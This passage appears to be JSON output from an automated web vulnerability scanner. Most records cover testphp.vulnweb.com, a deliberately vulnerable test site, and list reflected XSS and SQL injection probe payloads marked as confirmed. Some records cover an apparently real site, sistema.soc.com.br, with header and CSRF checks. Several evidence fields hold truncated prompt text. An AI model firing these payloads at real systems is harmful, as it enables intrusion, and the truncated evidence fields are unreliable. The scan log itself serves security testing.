      "evidence_summary": "No CSRF token found in form fields: ['screenWidth', 'screenHeight', 'detalhesNavegadorUsuario', 'captcha', 'usu']",
      "confidence": 0.0,
      "timestamp": 1771354309.364193,
      "scan_target": "https://sistema.soc.com.br/",
      "trace_id": "9f1f8b101b"
    },
    {
      "vuln_type": "csrf",
      "technology": "Server: CloudFront, Angular, jQuery",
      "endpoint_pattern": "https://sistema.soc.com.br/WebSoc/recuperacao-senha/iniciar.action",
      "parameter": "",
      "reasoning_steps": [
        "Tested csrf on https://sistema.soc.com.br/WebSoc/recuperacao-senha/iniciar.action",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: No CSRF token found in form fields: []",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "No CSRF token found in form fields: []",
      "confidence": 0.0,
      "timestamp": 1771354313.962377,
      "scan_target": "https://sistema.soc.com.br/",
      "trace_id": "8deb9f64cf"
    },
    {
      "vuln_type": "missing_csp",
      "technology": "Server: CloudFront, Angular, jQuery",
      "endpoint_pattern": "https://sistema.soc.com.br/",
      "parameter": "",
      "reasoning_steps": [
        "Tested missing_csp on https://sistema.soc.com.br/",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: Content-Security-Policy: Not set",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "Content-Security-Policy: Not set",
      "confidence": 0.0,
      "timestamp": 1771354317.844734,
      "scan_target": "https://sistema.soc.com.br/",
      "trace_id": "e9cf4c4ef5"
    },
    {
      "vuln_type": "csrf",
      "technology": "Server: CloudFront, Angular, jQuery",
      "endpoint_pattern": "https://sistema.soc.com.br/",
      "parameter": "",
      "reasoning_steps": [
        "Tested csrf on https://sistema.soc.com.br/",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: No CSRF token found in form fields: ['screenWidth', 'screenHeight', 'detalhesNavegadorUsuario', 'captcha', 'usu']",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "No CSRF token found in form fields: ['screenWidth', 'screenHeight', 'detalhesNavegadorUsuario', 'captcha', 'usu']",
      "confidence": 0.0,
      "timestamp": 1771384239.950052,
      "scan_target": "https://sistema.soc.com.br/",
      "trace_id": "9f1f8b101b"
    },
    {
      "vuln_type": "csrf",
      "technology": "Server: CloudFront, Angular, jQuery",
      "endpoint_pattern": "https://sistema.soc.com.br/WebSoc/recuperacao-senha/iniciar.action",
      "parameter": "",
      "reasoning_steps": [
        "Tested csrf on https://sistema.soc.com.br/WebSoc/recuperacao-senha/iniciar.action",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: No CSRF token found in form fields: []",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "No CSRF token found in form fields: []",
      "confidence": 0.0,
      "timestamp": 1771384244.61266,
      "scan_target": "https://sistema.soc.com.br/",
      "trace_id": "8deb9f64cf"
    },
    {
      "vuln_type": "missing_csp",
      "technology": "Server: CloudFront, Angular, jQuery",
      "endpoint_pattern": "https://sistema.soc.com.br/",
      "parameter": "",
      "reasoning_steps": [
        "Tested missing_csp on https://sistema.soc.com.br/",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: Content-Security-Policy: Not set",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "Content-Security-Policy: Not set",
      "confidence": 0.0,
      "timestamp": 1771384247.025493,
      "scan_target": "https://sistema.soc.com.br/",
      "trace_id": "e9cf4c4ef5"
    },
    {
      "vuln_type": "xss_reflected",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/showimage.php?file=1&file=%3Cscript%3Ealert('XSS')%3C/script%3E",
      "parameter": "file",
      "reasoning_steps": [
        "Tested xss_reflected on http://testphp.vulnweb.com/showimage.php?file=1&file=%3Cscript%3Ealert('XSS')%3C/script%3E",
        "Parameter: file",
        "Payload: <script>alert('XSS')</script>",
        "Evidence: XSS payload in auto-executing context: Payload injects <script> tag | XSS payload in auto-executing context: Payload injects <script> tag\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases",
        "Confidence: 100"
      ],
      "payload_used": "<script>alert('XSS')</script>",
      "evidence_summary": "XSS payload in auto-executing context: Payload injects <script> tag | XSS payload in auto-executing context: Payload injects <script> tag\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases) ===\nStudy these examples to understand the REASONING PATTERN, then apply similar logic.\n\n[Example ",
      "confidence": 1.0,
      "timestamp": 1771384382.0427148,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "83e4a916ae"
    },
    {
      "vuln_type": "xss_reflected",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/hpp/?pp=12&pp=%3Cscript%3Ealert('XSS')%3C/script%3E",
      "parameter": "pp",
      "reasoning_steps": [
        "Tested xss_reflected on http://testphp.vulnweb.com/hpp/?pp=12&pp=%3Cscript%3Ealert('XSS')%3C/script%3E",
        "Parameter: pp",
        "Payload: <script>alert('XSS')</script>",
        "Evidence: XSS payload in auto-executing context: Payload injects <script> tag | XSS payload in auto-executing context: Payload injects <script> tag\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases",
        "Confidence: 100"
      ],
      "payload_used": "<script>alert('XSS')</script>",
      "evidence_summary": "XSS payload in auto-executing context: Payload injects <script> tag | XSS payload in auto-executing context: Payload injects <script> tag\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases) ===\nStudy these examples to understand the REASONING PATTERN, then apply similar logic.\n\n[Example ",
      "confidence": 1.0,
      "timestamp": 1771384392.696237,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "4d700103c2"
    },
    {
      "vuln_type": "sqli_error",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/search.php?test=query&test='",
      "parameter": "test",
      "reasoning_steps": [
        "Tested sqli_error on http://testphp.vulnweb.com/search.php?test=query&test='",
        "Parameter: test",
        "Payload: '",
        "Evidence: SQL error detected: SQL syntax; check the manual that corresponds to your MySQL | SQL error induced by payload: sql syntax\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases) ===\nStudy the",
        "Confidence: 100"
      ],
      "payload_used": "'",
      "evidence_summary": "SQL error detected: SQL syntax; check the manual that corresponds to your MySQL | SQL error induced by payload: sql syntax\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases) ===\nStudy these examples to understand the REASONING PATTERN, then apply similar logic.\n\n[Example 1]\n--- Example:",
      "confidence": 1.0,
      "timestamp": 1771384440.1109571,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "7f204cf6c0"
    },
    {
      "vuln_type": "sqli_blind",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/search.php?test=query&test='+AND+1%3D1--",
      "parameter": "test",
      "reasoning_steps": [
        "Tested sqli_blind on http://testphp.vulnweb.com/search.php?test=query&test='+AND+1%3D1--",
        "Parameter: test",
        "Payload: ' AND 1=1--",
        "Evidence: SQL error induced by payload: sql syntax\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases) ===\nStudy these examples to understand the REASONING PATTERN, then apply similar logic.\n\n[Examp",
        "Confidence: 100"
      ],
      "payload_used": "' AND 1=1--",
      "evidence_summary": "SQL error induced by payload: sql syntax\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases) ===\nStudy these examples to understand the REASONING PATTERN, then apply similar logic.\n\n[Example 1]\n--- Example: SQLI in generic ---\nScenario: Verifying SQL injection is TRUE POSITIVE\nReasoning:",
      "confidence": 1.0,
      "timestamp": 1771384459.0213408,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "427a585ebe"
    },
    {
      "vuln_type": "xss_reflected",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/hpp/params.php?p=valid&pp=12&p=%3Cscript%3Ealert('XSS')%3C/script%3E",
      "parameter": "p",
      "reasoning_steps": [
        "Tested xss_reflected on http://testphp.vulnweb.com/hpp/params.php?p=valid&pp=12&p=%3Cscript%3Ealert('XSS')%3C/script%3E",
        "Parameter: p",
        "Payload: <script>alert('XSS')</script>",
        "Evidence: XSS payload in auto-executing context: Payload injects <script> tag | XSS payload in auto-executing context: Payload injects <script> tag\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases",
        "Confidence: 100"
      ],
      "payload_used": "<script>alert('XSS')</script>",
      "evidence_summary": "XSS payload in auto-executing context: Payload injects <script> tag | XSS payload in auto-executing context: Payload injects <script> tag\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases) ===\nStudy these examples to understand the REASONING PATTERN, then apply similar logic.\n\n[Example ",
      "confidence": 1.0,
      "timestamp": 1771384478.530838,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "8640b4aedd"
    },
    {
      "vuln_type": "sqli_union",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/search.php?test='+UNION+SELECT+NULL--",
      "parameter": "test",
      "reasoning_steps": [
        "Tested sqli_union on http://testphp.vulnweb.com/search.php?test='+UNION+SELECT+NULL--",
        "Parameter: test",
        "Payload: ' UNION SELECT NULL--",
        "Evidence: New error patterns: (?:sql|database|query)\\s*(?:error|syntax|exception), you have an error in your sql | SQL error induced by payload: sql syntax\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-wor",
        "Confidence: 100"
      ],
      "payload_used": "' UNION SELECT NULL--",
      "evidence_summary": "New error patterns: (?:sql|database|query)\\s*(?:error|syntax|exception), you have an error in your sql | SQL error induced by payload: sql syntax\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases) ===\nStudy these examples to understand the REASONING PATTERN, then apply similar logic.\n\n[",
      "confidence": 1.0,
      "timestamp": 1771384509.9048698,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "0fbb763c35"
    },
    {
      "vuln_type": "csrf",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/",
      "parameter": "",
      "reasoning_steps": [
        "Tested csrf on http://testphp.vulnweb.com/",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: No CSRF token found in form fields: ['searchFor', 'goButton']",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "No CSRF token found in form fields: ['searchFor', 'goButton']",
      "confidence": 0.0,
      "timestamp": 1771384515.707943,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "7ab9afb724"
    },
    {
      "vuln_type": "csrf",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/listproducts.php?cat=1",
      "parameter": "",
      "reasoning_steps": [
        "Tested csrf on http://testphp.vulnweb.com/listproducts.php?cat=1",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: No CSRF token found in form fields: ['searchFor', 'goButton']",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "No CSRF token found in form fields: ['searchFor', 'goButton']",
      "confidence": 0.0,
      "timestamp": 1771384517.909699,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "de75e08d9d"
    },
    {
      "vuln_type": "csrf",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/artists.php?artist=1",
      "parameter": "",
      "reasoning_steps": [
        "Tested csrf on http://testphp.vulnweb.com/artists.php?artist=1",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: No CSRF token found in form fields: ['searchFor', 'goButton']",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "No CSRF token found in form fields: ['searchFor', 'goButton']",
      "confidence": 0.0,
      "timestamp": 1771384520.849588,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "37a422fe76"
    },
    {
      "vuln_type": "csrf",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/guestbook.php",
      "parameter": "",
      "reasoning_steps": [
        "Tested csrf on http://testphp.vulnweb.com/guestbook.php",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: No CSRF token found in form fields: ['name', 'submit', 'text']",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "No CSRF token found in form fields: ['name', 'submit', 'text']",
      "confidence": 0.0,
      "timestamp": 1771384523.112015,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "ce0078ec6e"
    },
    {
      "vuln_type": "csrf",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/search.php?test=1",
      "parameter": "",
      "reasoning_steps": [
        "Tested csrf on http://testphp.vulnweb.com/search.php?test=1",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: No CSRF token found in form fields: ['searchFor', 'goButton']",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "No CSRF token found in form fields: ['searchFor', 'goButton']",
      "confidence": 0.0,
      "timestamp": 1771384525.456325,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "432f223199"
    },
    {
      "vuln_type": "missing_xcto",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/",
      "parameter": "",
      "reasoning_steps": [
        "Tested missing_xcto on http://testphp.vulnweb.com/",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: X-Content-Type-Options: Not set",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "X-Content-Type-Options: Not set",
      "confidence": 0.0,
      "timestamp": 1771384527.9759538,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "9780b58433"
    },
    {
      "vuln_type": "clickjacking",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/",
      "parameter": "",
      "reasoning_steps": [
        "Tested clickjacking on http://testphp.vulnweb.com/",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: X-Frame-Options: Not set\nCSP: Not set",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "X-Frame-Options: Not set\nCSP: Not set",
      "confidence": 0.0,
      "timestamp": 1771384528.2141461,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "59e9a7389d"
    },
    {
      "vuln_type": "sensitive_data_exposure",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/",
      "parameter": "server_version",
      "reasoning_steps": [
        "Tested sensitive_data_exposure on http://testphp.vulnweb.com/",
        "Parameter: server_version",
        "Payload: N/A",
        "Evidence: Server: nginx/1.19.0",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "Server: nginx/1.19.0",
      "confidence": 0.0,
      "timestamp": 1771384528.735592,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "f915219938"
    },
    {
      "vuln_type": "missing_csp",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/",
      "parameter": "",
      "reasoning_steps": [
        "Tested missing_csp on http://testphp.vulnweb.com/",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: Content-Security-Policy: Not set",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "Content-Security-Policy: Not set",
      "confidence": 0.0,
      "timestamp": 1771384528.944125,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "024291ea3c"
    },
    {
      "vuln_type": "directory_listing",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/images/",
      "parameter": "",
      "reasoning_steps": [
        "Tested directory_listing on http://testphp.vulnweb.com/images/",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: Directory listing enabled at /images/",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "Directory listing enabled at /images/",
      "confidence": 0.0,
      "timestamp": 1771384529.3596292,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "36c189a123"
    },
    {
      "vuln_type": "sensitive_data_exposure",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/",
      "parameter": "x_powered_by",
      "reasoning_steps": [
        "Tested sensitive_data_exposure on http://testphp.vulnweb.com/",
        "Parameter: x_powered_by",
        "Payload: N/A",
        "Evidence: X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1",
      "confidence": 0.0,
      "timestamp": 1771384529.993268,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "f915219938"
    },
    {
      "vuln_type": "cleartext_transmission",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/",
      "parameter": "",
      "reasoning_steps": [
        "Tested cleartext_transmission on http://testphp.vulnweb.com/",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: No HTTPS endpoint available",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "No HTTPS endpoint available",
      "confidence": 0.0,
      "timestamp": 1771384533.476691,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "a60e104f56"
    },
    {
      "vuln_type": "xss_reflected",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/hpp/?pp=12&pp=%3Cscript%3Ealert('XSS')%3C/script%3E",
      "parameter": "pp",
      "reasoning_steps": [
        "Tested xss_reflected on http://testphp.vulnweb.com/hpp/?pp=12&pp=%3Cscript%3Ealert('XSS')%3C/script%3E",
        "Parameter: pp",
        "Payload: <script>alert('XSS')</script>",
        "Evidence: XSS payload in auto-executing context: Payload injects <script> tag | XSS payload in auto-executing context: Payload injects <script> tag\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases",
        "Confidence: 100"
      ],
      "payload_used": "<script>alert('XSS')</script>",
      "evidence_summary": "XSS payload in auto-executing context: Payload injects <script> tag | XSS payload in auto-executing context: Payload injects <script> tag\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases) ===\nStudy these examples to understand the REASONING PATTERN, then apply similar logic.\n\n[Example ",
      "confidence": 1.0,
      "timestamp": 1771805721.556229,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "4d700103c2"
    },
    {
      "vuln_type": "xss_reflected",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/showimage.php?file=1&file=%3Cscript%3Ealert('XSS')%3C/script%3E",
      "parameter": "file",
      "reasoning_steps": [
        "Tested xss_reflected on http://testphp.vulnweb.com/showimage.php?file=1&file=%3Cscript%3Ealert('XSS')%3C/script%3E",
        "Parameter: file",
        "Payload: <script>alert('XSS')</script>",
        "Evidence: XSS payload in auto-executing context: Payload injects <script> tag | XSS payload in auto-executing context: Payload injects <script> tag\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases",
        "Confidence: 100"
      ],
      "payload_used": "<script>alert('XSS')</script>",
      "evidence_summary": "XSS payload in auto-executing context: Payload injects <script> tag | XSS payload in auto-executing context: Payload injects <script> tag\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases) ===\nStudy these examples to understand the REASONING PATTERN, then apply similar logic.\n\n[Example ",
      "confidence": 1.0,
      "timestamp": 1771805765.667903,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "83e4a916ae"
    },
    {
      "vuln_type": "sqli_error",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/search.php?test=query&test='",
      "parameter": "test",
      "reasoning_steps": [
        "Tested sqli_error on http://testphp.vulnweb.com/search.php?test=query&test='",
        "Parameter: test",
        "Payload: '",
        "Evidence: SQL error detected: SQL syntax; check the manual that corresponds to your MySQL | SQL error induced by payload: sql syntax\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases) ===\nStudy the",
        "Confidence: 100"
      ],
      "payload_used": "'",
      "evidence_summary": "SQL error detected: SQL syntax; check the manual that corresponds to your MySQL | SQL error induced by payload: sql syntax\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases) ===\nStudy these examples to understand the REASONING PATTERN, then apply similar logic.\n\n[Example 1]\n--- Example:",
      "confidence": 1.0,
      "timestamp": 1771805774.829865,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "7f204cf6c0"
    },
    {
      "vuln_type": "sqli_blind",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/search.php?test=query&test='+AND+1%3D1--",
      "parameter": "test",
      "reasoning_steps": [
        "Tested sqli_blind on http://testphp.vulnweb.com/search.php?test=query&test='+AND+1%3D1--",
        "Parameter: test",
        "Payload: ' AND 1=1--",
        "Evidence: SQL error induced by payload: sql syntax\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases) ===\nStudy these examples to understand the REASONING PATTERN, then apply similar logic.\n\n[Examp",
        "Confidence: 100"
      ],
      "payload_used": "' AND 1=1--",
      "evidence_summary": "SQL error induced by payload: sql syntax\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases) ===\nStudy these examples to understand the REASONING PATTERN, then apply similar logic.\n\n[Example 1]\n--- Example: SQLI in generic ---\nScenario: Verifying SQL injection is TRUE POSITIVE\nReasoning:",
      "confidence": 1.0,
      "timestamp": 1771805793.041168,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "427a585ebe"
    },
    {
      "vuln_type": "xss_reflected",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/hpp/params.php?p=valid&pp=12&p=%3Cscript%3Ealert('XSS')%3C/script%3E",
      "parameter": "p",
      "reasoning_steps": [
        "Tested xss_reflected on http://testphp.vulnweb.com/hpp/params.php?p=valid&pp=12&p=%3Cscript%3Ealert('XSS')%3C/script%3E",
        "Parameter: p",
        "Payload: <script>alert('XSS')</script>",
        "Evidence: XSS payload in auto-executing context: Payload injects <script> tag | XSS payload in auto-executing context: Payload injects <script> tag\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases",
        "Confidence: 100"
      ],
      "payload_used": "<script>alert('XSS')</script>",
      "evidence_summary": "XSS payload in auto-executing context: Payload injects <script> tag | XSS payload in auto-executing context: Payload injects <script> tag\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases) ===\nStudy these examples to understand the REASONING PATTERN, then apply similar logic.\n\n[Example ",
      "confidence": 1.0,
      "timestamp": 1771805811.614671,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "8640b4aedd"
    },
    {
      "vuln_type": "sqli_union",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/search.php?test='+UNION+SELECT+NULL--",
      "parameter": "test",
      "reasoning_steps": [
        "Tested sqli_union on http://testphp.vulnweb.com/search.php?test='+UNION+SELECT+NULL--",
        "Parameter: test",
        "Payload: ' UNION SELECT NULL--",
        "Evidence: New error patterns: (?:sql|database|query)\\s*(?:error|syntax|exception), you have an error in your sql | SQL error induced by payload: sql syntax\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-wor",
        "Confidence: 100"
      ],
      "payload_used": "' UNION SELECT NULL--",
      "evidence_summary": "New error patterns: (?:sql|database|query)\\s*(?:error|syntax|exception), you have an error in your sql | SQL error induced by payload: sql syntax\n\n\n=== VERIFICATION EXAMPLES (Learn from these real-world cases) ===\nStudy these examples to understand the REASONING PATTERN, then apply similar logic.\n\n[",
      "confidence": 1.0,
      "timestamp": 1771805838.887102,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "0fbb763c35"
    },
    {
      "vuln_type": "csrf",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/",
      "parameter": "",
      "reasoning_steps": [
        "Tested csrf on http://testphp.vulnweb.com/",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: No CSRF token found in form fields: ['searchFor', 'goButton']",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "No CSRF token found in form fields: ['searchFor', 'goButton']",
      "confidence": 0.0,
      "timestamp": 1771805847.8953228,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "7ab9afb724"
    },
    {
      "vuln_type": "csrf",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/search.php?test=1",
      "parameter": "",
      "reasoning_steps": [
        "Tested csrf on http://testphp.vulnweb.com/search.php?test=1",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: No CSRF token found in form fields: ['searchFor', 'goButton']",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "No CSRF token found in form fields: ['searchFor', 'goButton']",
      "confidence": 0.0,
      "timestamp": 1771805850.1733718,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "432f223199"
    },
    {
      "vuln_type": "csrf",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/listproducts.php?cat=1",
      "parameter": "",
      "reasoning_steps": [
        "Tested csrf on http://testphp.vulnweb.com/listproducts.php?cat=1",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: No CSRF token found in form fields: ['searchFor', 'goButton']",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "No CSRF token found in form fields: ['searchFor', 'goButton']",
      "confidence": 0.0,
      "timestamp": 1771805852.318049,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "de75e08d9d"
    },
    {
      "vuln_type": "csrf",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/artists.php?artist=1",
      "parameter": "",
      "reasoning_steps": [
        "Tested csrf on http://testphp.vulnweb.com/artists.php?artist=1",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: No CSRF token found in form fields: ['searchFor', 'goButton']",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "No CSRF token found in form fields: ['searchFor', 'goButton']",
      "confidence": 0.0,
      "timestamp": 1771805854.915968,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "37a422fe76"
    },
    {
      "vuln_type": "csrf",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/guestbook.php",
      "parameter": "",
      "reasoning_steps": [
        "Tested csrf on http://testphp.vulnweb.com/guestbook.php",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: No CSRF token found in form fields: ['name', 'submit', 'text']",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "No CSRF token found in form fields: ['name', 'submit', 'text']",
      "confidence": 0.0,
      "timestamp": 1771805857.099724,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "ce0078ec6e"
    },
    {
      "vuln_type": "clickjacking",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/",
      "parameter": "",
      "reasoning_steps": [
        "Tested clickjacking on http://testphp.vulnweb.com/",
        "Parameter: N/A",
        "Payload: N/A",
        "Evidence: X-Frame-Options: Not set\nCSP: Not set",
        "Confidence: 0"
      ],
      "payload_used": "",
      "evidence_summary": "X-Frame-Options: Not set\nCSP: Not set",
      "confidence": 0.0,
      "timestamp": 1771805859.5878952,
      "scan_target": "http://testphp.vulnweb.com/",
      "trace_id": "59e9a7389d"
    },
    {
      "vuln_type": "missing_xcto",
      "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP",
      "endpoint_pattern": "http://testphp.vulnweb.com/",
      "parameter": "",
